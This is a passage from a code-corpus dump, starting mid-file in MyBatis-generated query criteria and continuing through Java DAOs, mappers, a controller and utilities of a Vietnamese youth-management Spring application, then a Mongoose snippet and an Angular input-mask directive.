value) { addCriterion("BIRTH_DAY >", value, "birthDay"); return (Criteria) this; } public Criteria andBirthDayGreaterThanOrEqualTo(String value) { addCriterion("BIRTH_DAY >=", value, "birthDay"); return (Criteria) this; } public Criteria andBirthDayLessThan(String value) { addCriterion("BIRTH_DAY <", value, "birthDay"); return (Criteria) this; } public Criteria andBirthDayLessThanOrEqualTo(String value) { addCriterion("BIRTH_DAY <=", value, "birthDay"); return (Criteria) this; } public Criteria andBirthDayLike(String value) { addCriterion("BIRTH_DAY like", value, "birthDay"); return (Criteria) this; } public Criteria andBirthDayNotLike(String value) { addCriterion("BIRTH_DAY not like", value, "birthDay"); return (Criteria) this; } public Criteria andBirthDayIn(List<String> values) { addCriterion("BIRTH_DAY in", values, "birthDay"); return (Criteria) this; } public Criteria andBirthDayNotIn(List<String> values) { addCriterion("BIRTH_DAY not in", values, "birthDay"); return (Criteria) this; } public Criteria andBirthDayBetween(String value1, String value2) { addCriterion("BIRTH_DAY between", value1, value2, "birthDay"); return (Criteria) this; } public Criteria andBirthDayNotBetween(String value1, String value2) { addCriterion("BIRTH_DAY not between", value1, value2, "birthDay"); return (Criteria) this; } public Criteria andJobIsNull() { addCriterion("JOB is null"); return (Criteria) this; } public Criteria andJobIsNotNull() { addCriterion("JOB is not null"); return (Criteria) this; } public Criteria andJobEqualTo(String value) { addCriterion("JOB =", value, "job"); return (Criteria) this; } public Criteria andJobNotEqualTo(String value) { addCriterion("JOB <>", value, "job"); return (Criteria) this; } public Criteria andJobGreaterThan(String value) { addCriterion("JOB >", value, "job"); return (Criteria) this; } public Criteria andJobGreaterThanOrEqualTo(String value) { addCriterion("JOB >=", value, "job"); return (Criteria) this; } public Criteria andJobLessThan(String value) { addCriterion("JOB <", value, "job"); return (Criteria) this; } public Criteria andJobLessThanOrEqualTo(String value) { addCriterion("JOB <=", value, "job"); return (Criteria) this; } public Criteria andJobLike(String value) { addCriterion("JOB like", value, "job"); return (Criteria) this; } public Criteria andJobNotLike(String value) { addCriterion("JOB not like", value, "job"); return (Criteria) this; } public Criteria andJobIn(List<String> values) { addCriterion("JOB in", values, "job"); return (Criteria) this; } public Criteria andJobNotIn(List<String> values) { addCriterion("JOB not in", values, "job"); return (Criteria) this; } public Criteria andJobBetween(String value1, String value2) { addCriterion("JOB between", value1, value2, "job"); return (Criteria) this; } public Criteria andJobNotBetween(String value1, String value2) { addCriterion("JOB not between", value1, value2, "job"); return (Criteria) this; } public Criteria andWorkPlaceIsNull() { addCriterion("WORK_PLACE is null"); return (Criteria) this; } public Criteria andWorkPlaceIsNotNull() { addCriterion("WORK_PLACE is not null"); return (Criteria) this; } public Criteria andWorkPlaceEqualTo(String value) { addCriterion("WORK_PLACE =", value, "workPlace"); return (Criteria) this; } public Criteria andWorkPlaceNotEqualTo(String value) { addCriterion("WORK_PLACE <>", value, "workPlace"); return (Criteria) this; } public Criteria andWorkPlaceGreaterThan(String value) { addCriterion("WORK_PLACE >", value, "workPlace"); return (Criteria) this; } public Criteria andWorkPlaceGreaterThanOrEqualTo(String value) { addCriterion("WORK_PLACE >=", value, "workPlace"); return (Criteria) this; } public Criteria andWorkPlaceLessThan(String value) { addCriterion("WORK_PLACE <", value, "workPlace"); return (Criteria) this; } public Criteria andWorkPlaceLessThanOrEqualTo(String value) { addCriterion("WORK_PLACE <=", value, "workPlace"); return (Criteria) this; } public Criteria andWorkPlaceLike(String value) { addCriterion("WORK_PLACE like", value, "workPlace"); return (Criteria) this; } public Criteria andWorkPlaceNotLike(String value) { addCriterion("WORK_PLACE not like", value, "workPlace"); return (Criteria) this; } public Criteria andWorkPlaceIn(List<String> values) { addCriterion("WORK_PLACE in", values, "workPlace"); return (Criteria) this; } public Criteria andWorkPlaceNotIn(List<String> values) { addCriterion("WORK_PLACE not in", values, "workPlace"); return (Criteria) this; } public Criteria andWorkPlaceBetween(String value1, String value2) { addCriterion("WORK_PLACE between", value1, value2, "workPlace"); return (Criteria) this; } public Criteria andWorkPlaceNotBetween(String value1, String value2) { addCriterion("WORK_PLACE not between", value1, value2, "workPlace"); return (Criteria) this; } public Criteria andNoteIsNull() { addCriterion("NOTE is null"); return (Criteria) this; } public Criteria andNoteIsNotNull() { addCriterion("NOTE is not null"); return (Criteria) this; } public Criteria andNoteEqualTo(String value) { addCriterion("NOTE =", value, "note"); return (Criteria) this; } public Criteria andNoteNotEqualTo(String value) { addCriterion("NOTE <>", value, "note"); return (Criteria) this; } public Criteria andNoteGreaterThan(String value) { addCriterion("NOTE >", value, "note"); return (Criteria) this; } public Criteria andNoteGreaterThanOrEqualTo(String value) { addCriterion("NOTE >=", value, "note"); return (Criteria) this; } public Criteria andNoteLessThan(String value) { addCriterion("NOTE <", value, "note"); return (Criteria) this; } public Criteria andNoteLessThanOrEqualTo(String value) { addCriterion("NOTE <=", value, "note"); return (Criteria) this; } public Criteria andNoteLike(String value) { addCriterion("NOTE like", value, "note"); return (Criteria) this; } public Criteria andNoteNotLike(String value) { addCriterion("NOTE not like", value, "note"); return (Criteria) this; } public Criteria andNoteIn(List<String> values) { addCriterion("NOTE in", values, "note"); return (Criteria) this; } public Criteria andNoteNotIn(List<String> values) { addCriterion("NOTE not in", values, "note"); return (Criteria) this; } public Criteria andNoteBetween(String value1, String value2) { addCriterion("NOTE between", value1, value2, "note"); return (Criteria) this; } public Criteria andNoteNotBetween(String value1, String value2) { addCriterion("NOTE not between", value1, value2, "note"); return (Criteria) this; } public Criteria andCreateUserIdIsNull() { addCriterion("CREATE_USER_ID is null"); return (Criteria) this; } public Criteria andCreateUserIdIsNotNull() { addCriterion("CREATE_USER_ID is not null"); return (Criteria) this; } public Criteria andCreateUserIdEqualTo(String value) { addCriterion("CREATE_USER_ID =", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotEqualTo(String value) { addCriterion("CREATE_USER_ID <>", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdGreaterThan(String value) { addCriterion("CREATE_USER_ID >", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdGreaterThanOrEqualTo(String value) { addCriterion("CREATE_USER_ID >=", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdLessThan(String value) { addCriterion("CREATE_USER_ID <", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdLessThanOrEqualTo(String value) { addCriterion("CREATE_USER_ID <=", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdLike(String value) { addCriterion("CREATE_USER_ID like", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotLike(String value) { addCriterion("CREATE_USER_ID not like", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdIn(List<String> values) { addCriterion("CREATE_USER_ID in", values, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotIn(List<String> values) { addCriterion("CREATE_USER_ID not in", values, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdBetween(String value1, String value2) { addCriterion("CREATE_USER_ID between", value1, value2, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotBetween(String value1, String value2) { addCriterion("CREATE_USER_ID not between", value1, value2, "createUserId"); return (Criteria) this; } public Criteria andCreateDateIsNull() { addCriterion("CREATE_DATE is null"); return (Criteria) this; } public Criteria andCreateDateIsNotNull() { addCriterion("CREATE_DATE is not null"); return (Criteria) this; } public Criteria andCreateDateEqualTo(Date value) { addCriterion("CREATE_DATE =", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateNotEqualTo(Date value) { addCriterion("CREATE_DATE <>", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateGreaterThan(Date value) { addCriterion("CREATE_DATE >", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateGreaterThanOrEqualTo(Date value) { addCriterion("CREATE_DATE >=", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateLessThan(Date value) { addCriterion("CREATE_DATE <", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateLessThanOrEqualTo(Date value) { addCriterion("CREATE_DATE <=", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateIn(List<Date> values) { addCriterion("CREATE_DATE in", values, "createDate"); return (Criteria) this; } public Criteria andCreateDateNotIn(List<Date> values) { addCriterion("CREATE_DATE not in", values, "createDate"); return (Criteria) this; } public Criteria andCreateDateBetween(Date value1, Date value2) { addCriterion("CREATE_DATE between", value1, value2, "createDate"); return (Criteria) this; } public Criteria andCreateDateNotBetween(Date value1, Date value2) { addCriterion("CREATE_DATE not between", value1, value2, "createDate"); return (Criteria) this; } public Criteria andUpdateUserIdIsNull() { addCriterion("UPDATE_USER_ID is null"); return (Criteria) this; } public Criteria andUpdateUserIdIsNotNull() { addCriterion("UPDATE_USER_ID is not null"); return (Criteria) this; } public Criteria andUpdateUserIdEqualTo(String value) { addCriterion("UPDATE_USER_ID =", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotEqualTo(String value) { addCriterion("UPDATE_USER_ID <>", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdGreaterThan(String value) { addCriterion("UPDATE_USER_ID >", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdGreaterThanOrEqualTo(String value) { addCriterion("UPDATE_USER_ID >=", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdLessThan(String value) { addCriterion("UPDATE_USER_ID <", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdLessThanOrEqualTo(String value) { addCriterion("UPDATE_USER_ID <=", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdLike(String value) { addCriterion("UPDATE_USER_ID like", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotLike(String value) { addCriterion("UPDATE_USER_ID not like", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdIn(List<String> values) { addCriterion("UPDATE_USER_ID in", values, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotIn(List<String> values) { addCriterion("UPDATE_USER_ID not in", values, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdBetween(String value1, String value2) { addCriterion("UPDATE_USER_ID between", value1, value2, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotBetween(String value1, String value2) { addCriterion("UPDATE_USER_ID not between", value1, value2, "updateUserId"); return (Criteria) this; } public Criteria andLastUpdateDateIsNull() { addCriterion("LAST_UPDATE_DATE is null"); return (Criteria) this; } public Criteria andLastUpdateDateIsNotNull() { addCriterion("LAST_UPDATE_DATE is not null"); return (Criteria) this; } public Criteria andLastUpdateDateEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE =", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateNotEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE <>", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateGreaterThan(Date value) { addCriterion("LAST_UPDATE_DATE >", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateGreaterThanOrEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE >=", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateLessThan(Date value) { addCriterion("LAST_UPDATE_DATE <", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateLessThanOrEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE <=", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateIn(List<Date> values) { addCriterion("LAST_UPDATE_DATE in", values, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateNotIn(List<Date> values) { addCriterion("LAST_UPDATE_DATE not in", values, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateBetween(Date value1, Date value2) { addCriterion("LAST_UPDATE_DATE between", value1, value2, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateNotBetween(Date value1, Date value2) { addCriterion("LAST_UPDATE_DATE not between", value1, value2, "lastUpdateDate"); return (Criteria) this; } public Criteria andDeleteFlagIsNull() { addCriterion("DELETE_FLAG is null"); return (Criteria) this; } public Criteria andDeleteFlagIsNotNull() { addCriterion("DELETE_FLAG is not null"); return (Criteria) this; } public Criteria andDeleteFlagEqualTo(String value) { addCriterion("DELETE_FLAG =", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagNotEqualTo(String value) { addCriterion("DELETE_FLAG <>", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagGreaterThan(String value) { addCriterion("DELETE_FLAG >", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagGreaterThanOrEqualTo(String value) { addCriterion("DELETE_FLAG >=", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagLessThan(String value) { addCriterion("DELETE_FLAG <", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagLessThanOrEqualTo(String value) { addCriterion("DELETE_FLAG <=", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagLike(String value) { addCriterion("DELETE_FLAG like", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagNotLike(String value) { addCriterion("DELETE_FLAG not like", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagIn(List<String> values) { addCriterion("DELETE_FLAG in", values, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagNotIn(List<String> values) { addCriterion("DELETE_FLAG not in", values, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagBetween(String value1, String value2) { addCriterion("DELETE_FLAG between", value1, value2, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagNotBetween(String value1, String value2) { addCriterion("DELETE_FLAG not between", value1, value2, "deleteFlag"); return (Criteria) this; } } /** * This class was generated by MyBatis Generator. * This class corresponds to the database table qltn_m_family_relatives * * @mbggenerated do_not_delete_during_merge Tue Jul 18 21:27:11 ICT 2017 */ public static class Criteria extends GeneratedCriteria { protected Criteria() { super(); } } /** * This class was generated by MyBatis Generator. * This class corresponds to the database table qltn_m_family_relatives * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public static class Criterion { private String condition; private Object value; private Object secondValue; private boolean noValue; private boolean singleValue; private boolean betweenValue; private boolean listValue; private String typeHandler; public String getCondition() { return condition; } public Object getValue() { return value; } public Object getSecondValue() { return secondValue; } public boolean isNoValue() { return noValue; } public boolean isSingleValue() { return singleValue; } public boolean isBetweenValue() { return betweenValue; } public boolean isListValue() { return listValue; } public String getTypeHandler() { return typeHandler; } protected Criterion(String condition) { super(); this.condition = condition; this.typeHandler = null; this.noValue = true; } protected Criterion(String condition, Object value, String typeHandler) { super(); this.condition = condition; this.value = value; this.typeHandler = typeHandler; if (value instanceof List<?>) { this.listValue = true; } else { this.singleValue = true; } } protected Criterion(String condition, Object value) { this(condition, value, null); } protected Criterion(String condition, Object value, Object secondValue, String typeHandler) { super(); this.condition = condition; this.value = value; this.secondValue = secondValue; this.typeHandler = typeHandler; this.betweenValue = true; } protected Criterion(String condition, Object value, Object secondValue) { this(condition, value, secondValue, null); } } }``` Sym0051Dao.java ```package vn.youthmanager.ict.youth.dao; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import vn.youthmanager.ict.common.db.mapper.QltnMCriteraMapper; import vn.youthmanager.ict.common.db.mapper.QltnMDetailReportMapper; import vn.youthmanager.ict.youth.db.mapper.Sym0051Mapper; @Component public class Sym0051Dao { @Autowired private QltnMDetailReportMapper qltnMDetailReportMapper; @Autowired private QltnMCriteraMapper qltnMCriteraMapper; @Autowired private Sym0051Mapper sym0051Mapper; public Sym0051Mapper getSym0051Mapper() { return sym0051Mapper; } public QltnMDetailReportMapper getQltnMDetailReportMapper() { return qltnMDetailReportMapper; } public QltnMCriteraMapper getQltnMCriteraMapper() { return qltnMCriteraMapper; } } ``` Sym0009Mapper.java ```package vn.youthmanager.ict.youth.db.mapper; import java.util.List; import java.util.Map; import vn.youthmanager.ict.youth.db.model.Sym0009Result; /** * * @author nylf1992 * */ public interface Sym0009Mapper { List<Sym0009Result> searchData(Map<String, Object> params); String getSearchDataTotalCounts(Map<String, Object> params); String getLastIdReport (Map<String, Object> params); } ``` Util.java ```package vn.youthmanager.ict.common.util; import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.Date; import org.springframework.security.core.context.SecurityContextHolder; import vn.bananavietnam.ict.common.auth.MyUser; public class Util { /** * Get information of logged in user * * @return */ public static MyUser getUserInfo() { Object principal = SecurityContextHolder.getContext().getAuthentication().getPrincipal(); MyUser myUser = (MyUser) principal; return myUser; } /** * Replace special characters * * @param str * @return */ public static String convertSanitize(String str) { if (str == null) { return str; } str = str.replaceAll("&", "&amp;"); str = str.replaceAll("<", "&lt;"); str = str.replaceAll(">", "&gt;"); str = str.replaceAll("\"", "&quot;"); str = str.replaceAll("'", "&#39;"); str = str.replaceAll("%", "&#37;"); return str; } /** * Replace special characters * * @param str * @return */ public static String convertUnsanitize(String str) { if (str == null) { return str; } str = str.replaceAll("&#39;", "'"); str = str.replaceAll("&quot;", "\""); str = str.replaceAll("&gt;", ">"); str = str.replaceAll("&lt;", "<"); str = str.replaceAll("&amp;", "&"); str = str.replaceAll("&#37;", "%"); return str; } /** * Get current date time based on format that user passes in * * @param format * @return */ public static String getCurrentDateTime(String format) { DateFormat sdf = new SimpleDateFormat(format); Date date = new Date(); return sdf.format(date); } } ``` Sym0006DetailResult.java ```package vn.youthmanager.ict.youth.db.model; /** * * @author nylf1992 * */ public class Sym0006DetailResult{ private String reportName; public String getReportName() { return reportName; } public void setReportName(String reportName) { this.reportName = reportName; } } ``` a4d2cac5c323aa6b10c4e70c1edfeffabb100c3b.svn-base ```package vn.youthmanager.ict.common.db.mapper; import java.util.List; import org.apache.ibatis.annotations.Param; import vn.youthmanager.ict.common.db.model.QltnMDetailReport; import vn.youthmanager.ict.common.db.model.QltnMDetailReportExample; public interface QltnMDetailReportMapper { /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_detail_report * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int countByExample(QltnMDetailReportExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_detail_report * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int deleteByExample(QltnMDetailReportExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_detail_report * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int deleteByPrimaryKey(String detailReportId); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_detail_report * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int insert(QltnMDetailReport record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_detail_report * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int insertSelective(QltnMDetailReport record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_detail_report * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ List<QltnMDetailReport> selectByExample(QltnMDetailReportExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_detail_report * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ QltnMDetailReport selectByPrimaryKey(String detailReportId); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_detail_report * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByExampleSelective(@Param("record") QltnMDetailReport record, @Param("example") QltnMDetailReportExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_detail_report * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByExample(@Param("record") QltnMDetailReport record, @Param("example") QltnMDetailReportExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_detail_report * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByPrimaryKeySelective(QltnMDetailReport record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_detail_report * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByPrimaryKey(QltnMDetailReport record); }``` Sym0006Dao.java ```package vn.youthmanager.ict.youth.dao; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import vn.youthmanager.ict.common.db.mapper.QltnMDetailReportMapper; import vn.youthmanager.ict.common.db.mapper.QltnMReportMapper; import vn.youthmanager.ict.youth.db.mapper.Sym0006Mapper; @Component public class Sym0006Dao { @Autowired private Sym0006Mapper sym0006Mapper; @Autowired private QltnMReportMapper qltnMReportMapper; @Autowired private QltnMDetailReportMapper qltnMDetailReportMapper; public Sym0006Mapper getSym0006Mapper() { return sym0006Mapper; } public QltnMReportMapper getQltnMReportMapper() { return qltnMReportMapper; } public QltnMDetailReportMapper getQltnMDetailReportMapper() { return qltnMDetailReportMapper; } } ``` f5ab3ec61664b4f877a9b2e1389cbd7bdabdfdfd.svn-base ```package vn.youthmanager.ict.youth.db.model; import vn.youthmanager.ict.common.db.model.QltnMSpecialized; public class Sym0019Result extends QltnMSpecialized { private String searchDataTotalCounts; public String getSearchDataTotalCounts() { return searchDataTotalCounts; } public void setSearchDataTotalCounts(String searchDataTotalCounts) { this.searchDataTotalCounts = searchDataTotalCounts; } } ``` Sym0009Dao.java ```package vn.youthmanager.ict.youth.dao; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import vn.youthmanager.ict.common.db.mapper.QltnMCategoryMapper; import vn.youthmanager.ict.youth.db.mapper.Sym0009Mapper; /** * * @author nylf1992 * */ @Component public class Sym0009Dao { @Autowired private Sym0009Mapper sym0009Mapper; @Autowired private QltnMCategoryMapper qltnMCategoryMapper; public Sym0009Mapper getSym0009Mapper() { return sym0009Mapper; } public QltnMCategoryMapper getQltnMCategoryMapper() { return qltnMCategoryMapper; } } ``` LoginDao.java ```package vn.youthmanager.ict.youth.dao; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import vn.youthmanager.ict.youth.db.mapper.LoginMapper; @Component public class LoginDao { @Autowired private LoginMapper loginMapper; public LoginMapper getLoginMapper() { return loginMapper; } } ``` Sym0012Controller.java ```package vn.youthmanager.ict.youth.controller; import java.util.List; import java.util.Locale; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.MediaType; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.ModelAttribute; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.servlet.mvc.support.RedirectAttributes; import vn.youthmanager.ict.common.db.model.QltnMCity; import vn.youthmanager.ict.youth.db.model.Sym0012Conditions; import vn.youthmanager.ict.youth.db.model.Sym0012Result; import vn.youthmanager.ict.youth.service.Sym0012Service; @Controller @RequestMapping(value = "/0012") public class Sym0012Controller { @Autowired private Sym0012Service sym0012Service; @RequestMapping(value = "/", method = RequestMethod.GET) public String top(Locale locale, Model model, @ModelAttribute("Sym012CountryData") String countryId) { sym0012Service.initData(model, countryId); return "youth/0012"; } @RequestMapping(value = "/searchData", method = RequestMethod.POST, consumes = MediaType.APPLICATION_JSON_VALUE) public @ResponseBody List<Sym0012Result> searchData(@RequestBody Sym0012Conditions searchConditions) { return sym0012Service.searchData(searchConditions); } @RequestMapping(value = "/updateData", method = RequestMethod.POST, consumes = MediaType.APPLICATION_JSON_VALUE) public @ResponseBody String updateData(@RequestBody QltnMCity cateData) { return sym0012Service.updateData(cateData); } @RequestMapping(value = "/insertData", method = RequestMethod.POST, consumes = MediaType.APPLICATION_JSON_VALUE) public @ResponseBody String insertData(@RequestBody QltnMCity cateData) { return sym0012Service.insertData(cateData); } @RequestMapping(value = "/deleteData", method = RequestMethod.POST) public @ResponseBody String deleteData(@RequestParam(value = "cityId") String cityId) { return sym0012Service.deleteData(cityId); } /** * Get Data In Table QLTN_M_COUNTRY by University Id. * * @param countryId : data from client. * @return List QltnMCity. */ @RequestMapping(value = "/getSingleData", method = RequestMethod.POST) public @ResponseBody QltnMCity getSingleData(@RequestParam(value = "cityId") String cityId) { return sym0012Service.getSingleData(cityId); } /** * Change page to 0012 and transfer data * @param farmId : city's id received from client * @return redirect to 0013 and data get from client */ @RequestMapping(value = "/changePage", method = RequestMethod.POST) public String changePage(RedirectAttributes rattrs, @RequestParam(value = "cityId") String cityId, @RequestParam(value = "countryId") String countryId) { Sym0012Result sym0012Result = new Sym0012Result(); sym0012Result.setCityId(cityId); sym0012Result.setCountryId(countryId); rattrs.addFlashAttribute("Sym013CityData", sym0012Result); return "redirect:../0013/"; } } ``` 857e9664685f34165b8ae2b6503007103602bc2f.svn-base ```package vn.youthmanager.ict.youth.db.model; import vn.youthmanager.ict.common.db.model.QltnMReport; /** * * @author nylf1992 * */ public class Sym0005Result extends QltnMReport { // Added 1 more attribute to hold the total number of items searched in DB private String searchDataTotalCounts; public String getSearchDataTotalCounts() { return searchDataTotalCounts; } public void setSearchDataTotalCounts(String searchDataTotalCounts) { this.searchDataTotalCounts = searchDataTotalCounts; } } ``` d9abea73c13d82ec744f5cb54a8819d0125868f0.svn-base ```package vn.youthmanager.ict.common.util; import java.io.File; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import org.w3c.dom.Document; import org.w3c.dom.Element; import org.w3c.dom.Node; import org.w3c.dom.NodeList; import vn.youthmanager.ict.common.component.XmlConfig; /** * Define all functions for read file xml * * @author HiepTL * */ public class XmlConfigFunction { /** global object {XmlConfig} */ private static XmlConfig xmlConfig; private static String filePath; public static String getFilePath() { return filePath; } public static void setFilePath(String filePathTmp) { filePath = filePathTmp; } /** * Initialize XmlConfig object */ public static void initXmlConfig() { try { File xmlFile = new File(getFilePath()); // Check the time the file was last modified if (xmlConfig != null && xmlFile.lastModified() == xmlConfig.getLastModified()) { return; } xmlConfig = new XmlConfig(); xmlConfig.setLastModified(xmlFile.lastModified()); DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance(); DocumentBuilder dBuilder = dbFactory.newDocumentBuilder(); Document doc = dBuilder.parse(xmlFile); doc.getDocumentElement().normalize(); // Return new NodeList object containing all the matched xmlConfig tag. NodeList nodes = doc.getElementsByTagName("xmlConfig"); for (int i = 0; i < nodes.getLength(); i++) { Node node = nodes.item(i); if (node.getNodeType() == Node.ELEMENT_NODE) { Element element = (Element) node; xmlConfig.setLinePerBlock(getValue("line_per_block", element)); xmlConfig.setColPerBlock(getValue("col_per_block", element)); } } // Return new NodeList object containing all the matched logMessage tag. nodes = doc.getElementsByTagName("logMessage"); for (int i = 0; i < nodes.getLength(); i++) { Node node = nodes.item(i); if (node.getNodeType() == Node.ELEMENT_NODE) { Element element = (Element) node; xmlConfig.setDbAccess(getValue("db_access", element)); } } } catch (Exception e) { e.printStackTrace(); } } private static String getValue(String tag, Element element) { NodeList nodes = element.getElementsByTagName(tag).item(0).getChildNodes(); Node node = (Node) nodes.item(0); return node.getNodeValue(); } public static int getLinePerBlock() { initXmlConfig(); return Integer.parseInt(xmlConfig.getLinePerBlock()); } public static int getColPerBlock() { initXmlConfig(); return Integer.parseInt(xmlConfig.getColPerBlock()); } public String getDbAccess() { initXmlConfig(); return xmlConfig.getDbAccess(); } }``` Sym0006Mapper.java ```package vn.youthmanager.ict.youth.db.mapper; import java.util.List; import java.util.Map; import vn.youthmanager.ict.common.db.model.QltnMDetailReport; import vn.youthmanager.ict.youth.db.model.Sym0006DetailResult; import vn.youthmanager.ict.youth.db.model.Sym0006Result; public interface Sym0006Mapper { List<Sym0006Result> searchData(Map<String, Object> params); List<Sym0006DetailResult> searchReportName(Map<String, Object> params); String getSearchDataTotalCounts(Map<String, Object> params); String getLastDetailReportId (Map<String, Object> params); QltnMDetailReport getSingleData(QltnMDetailReport qltnMDetailReport); } ```
zeeforum/rest-api-express
zeeforum/rest-api-express user-auth.js ```var mongoose = require('mongoose'); var productSchema = require('./user'); var User = mongoose.model('User', productSchema); var u = new User({ profile: {username: 'vkarprov15'} }); modifyUserProfile(u, { picture: 'http://www.dailypakistani.com/site-content/images/hasb-e-haal-thumb.jpg' }); //modify userData **only** modify //user.profile not user.data function modifyUserProfile(user, profile, callback) { user.profile = profile; user.save(function(error, user) { //handle result }); }```
zeeshan350/decrtile
zeeshan350/decrtile ionic2-mask-directive.es5.js ```import { Directive, HostListener, Input } from '@angular/core'; import { NgControl } from '@angular/forms'; var Ionic2MaskDirective = /** @class */ (function () { /** * @param {?} control */ function Ionic2MaskDirective(control) { this.control = control; } /** * @return {?} */ Ionic2MaskDirective.prototype.ngOnChanges = function () { var /** @type {?} */ value = this.control.control.value; if (value) { this.control.control.setValue(this.format(value)); } }; /** * @param {?} $event * @return {?} */ Ionic2MaskDirective.prototype.onKeyUp = function ($event) { if ($event.keyCode !== 13 && $event.keyCode !== 9) { var /** @type {?} */ value = this.control.control.value; this.control.control.setValue(this.format(value)); } }; /** * @param {?} v * @return {?} */ Ionic2MaskDirective.prototype.format = function (v) { var /** @type {?} */ s = ''; var /** @type {?} */ matches = v.match(/[a-zA-Z0-9]+/g); if (matches !== null) { var /** @type {?} */ value = matches.join('').split(''); var /** @type {?} */ chars = this.mask.split(''); for (var _i = 0, chars_1 = chars; _i < chars_1.length; _i++) { var c = chars_1[_i]; if (value.length === 0) { break; } switch (c) { case '#': s += value[0]; value = value.slice(1); break; case '9': if (value[0].match(/\d/) !== null) { s += value[0]; value = value.slice(1); } break; case 'A': if (value[0].match(/[a-zA-Z]/) !== null) { s += value[0]; value = value.slice(1); } break; default: s += c; } } } return s; }; return Ionic2MaskDirective; }()); Ionic2MaskDirective.decorators = [ { type: Directive, args: [{ selector: '[mask]' },] }, ]; 